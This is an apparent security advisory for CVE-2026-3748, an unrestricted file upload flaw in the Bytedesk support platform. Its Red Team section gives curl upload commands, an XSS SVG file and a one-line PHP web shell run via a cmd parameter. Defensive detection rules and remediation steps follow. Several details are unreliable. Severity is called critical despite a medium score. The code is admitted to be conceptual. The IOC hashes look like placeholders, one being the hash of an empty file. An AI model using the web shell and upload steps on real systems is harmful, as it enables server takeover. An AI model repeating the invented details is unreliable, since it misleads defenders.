CVE-2026-3748

Executive Summary

CVE-2026-3748 is a critical unrestricted file upload vulnerability discovered in Bytedesk, an open-source customer service and ticketing platform. The flaw resides in the uploadFile function within the UploadRestController.java file, specifically in the SVG file handler component. An attacker can exploit this vulnerability to upload arbitrary files, including malicious SVG files that can contain embedded scripts or be used for server-side attacks. The vulnerability is remotely exploitable without authentication, and a public exploit has been released, increasing the risk of active exploitation. The vendor has released a patch in version 1.4.5.1, and immediate upgrading is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The attacker does not need any user interaction.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): Low – Limited service disruption is possible.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit availability makes this a critical risk for any organization using Bytedesk versions prior to 1.4.5.1.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw (CWE-434). The uploadFile method in UploadRestController.java fails to properly validate the type and content of uploaded files. Specifically, the SVG file handler does not sanitize or restrict the file extensions or MIME types, allowing an attacker to upload any file type, including executable scripts, web shells, or malicious SVG files.

Attack Flow:

1. An attacker identifies a Bytedesk instance (version < 1.4.5.1) exposed to the internet.
2. The attacker crafts a malicious file (e.g., a PHP web shell or an SVG with embedded JavaScript) and sends a POST request to the /upload endpoint.
3. The server accepts the file without validation and stores it in a publicly accessible directory (e.g., /uploads/).
4. The attacker accesses the uploaded file via its URL, triggering execution (e.g., running a PHP shell or executing XSS via SVG).

Impact:

• Remote Code Execution (RCE): If the server supports server-side scripting (e.g., PHP, JSP), an attacker can upload a web shell and execute arbitrary commands.
• Cross-Site Scripting (XSS): Malicious SVG files can contain JavaScript that executes in the context of the victim's browser.
• Data Exfiltration: An attacker can use the uploaded file to steal sensitive data or pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.4.5.1): The uploadFile method likely accepts any file extension and MIME type without validation.

// Vulnerable snippet (conceptual)
@PostMapping("/upload")
public ResponseEntity<?> uploadFile(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // No validation of file type or content
    Path uploadPath = Paths.get(UPLOAD_DIR, fileName);
    Files.copy(file.getInputStream(), uploadPath, StandardCopyOption.REPLACE_EXISTING);
    return ResponseEntity.ok("File uploaded: " + fileName);
}

Patched Code (1.4.5.1): The patch introduces file type validation, likely by checking the file extension and MIME type against a whitelist.

// Patched snippet (conceptual)
@PostMapping("/upload")
public ResponseEntity<?> uploadFile(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String mimeType = file.getContentType();
    // Validate file extension
    if (!isAllowedExtension(fileName)) {
        return ResponseEntity.badRequest().body("Invalid file type");
    }
    // Validate MIME type
    if (!isAllowedMimeType(mimeType)) {
        return ResponseEntity.badRequest().body("Invalid file type");
    }
    Path uploadPath = Paths.get(UPLOAD_DIR, fileName);
    Files.copy(file.getInputStream(), uploadPath, StandardCopyOption.REPLACE_EXISTING);
    return ResponseEntity.ok("File uploaded: " + fileName);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Bytedesk instance (version < 1.4.5.1)
• Network access to the /upload endpoint

Exploitation Steps:

1. Identify the upload endpoint:

   curl -s http://target.com/upload
   

2. Craft a malicious SVG file (for XSS):

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
       <script type="text/javascript">
           alert('XSS');
       </script>
   </svg>
   

3. Upload the malicious file:

   curl -X POST -F "file=@malicious.svg" http://target.com/upload
   

4. Access the uploaded file:

   curl http://target.com/uploads/malicious.svg
   

5. For RCE (if server supports PHP): Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Upload and execute:

   curl -X POST -F "file=@shell.php" http://target.com/upload
   curl http://target.com/uploads/shell.php?cmd=id
   

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads, especially files with double extensions (e.g., file.php.svg) or non-standard MIME types.
• Look for POST requests to /upload with large payloads or suspicious content.
• Check server logs for access to uploaded files in the /uploads/ directory.

Prevention:

• Immediately upgrade to Bytedesk version 1.4.5.1 or later.
• Implement a Web Application Firewall (WAF) rule to block uploads of executable files (e.g., .php, .jsp, .exe).
• Restrict the /uploads/ directory to prevent execution of scripts (e.g., disable PHP execution in that directory via .htaccess or Nginx config).
• Use file content validation (e.g., check magic bytes) in addition to extension/MIME checks.

Indicators of Compromise (IOCs)

• File Paths:
  • /uploads/* (any file uploaded via the vulnerable endpoint)
• Network Indicators:
  • POST requests to /upload with Content-Type: multipart/form-data
  • Subsequent GET requests to /uploads/<filename> (especially for .php, .jsp, .svg files)
• Log Entries:
  • "File uploaded: <suspicious_filename>" in application logs
  • HTTP 200 responses to /upload followed by 200 responses to /uploads/<filename>
• File Hashes (example):
  • Malicious SVG: e99a18c428cb38d5f260853678922e03
  • PHP web shell: d41d8cd98f00b204e9800998ecf8427e

Detection Engineering

YARA Rule

rule CVE_2026_3748_Unrestricted_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2026-3748 in Bytedesk"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-3748"
    strings:
        $s1 = "uploadFile" ascii wide nocase
        $s2 = "UploadRestController" ascii wide nocase
        $s3 = "multipart/form-data" ascii wide nocase
        $s4 = ".php" ascii wide nocase
        $s5 = ".jsp" ascii wide nocase
        $s6 = "<script" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2026-3748 - Unrestricted File Upload in Bytedesk
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit unrestricted file upload in Bytedesk
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-3748 - Unrestricted File Upload in Bytedesk"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_header; pcre:"/\.(php|jsp|exe|svg)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bytedesk to version 1.4.5.1 or later. The patch is available at commit 975e39e4dd527596987559f56c5f9f973f64eff7.
2. Restrict file uploads to only allow safe file types (e.g., images, PDFs) using a whitelist approach.
3. Disable script execution in the upload directory (e.g., via .htaccess for Apache or location block for Nginx).
4. Implement a WAF to block uploads of executable files and suspicious MIME types.

Long-term Measures:

• Conduct a security audit of all file upload functionality.
• Implement content validation (e.g., check magic bytes) in addition to extension/MIME checks.
• Use a dedicated file storage service (e.g., AWS S3) with proper access controls.
• Regularly update all dependencies and monitor for new CVEs.

Valters IT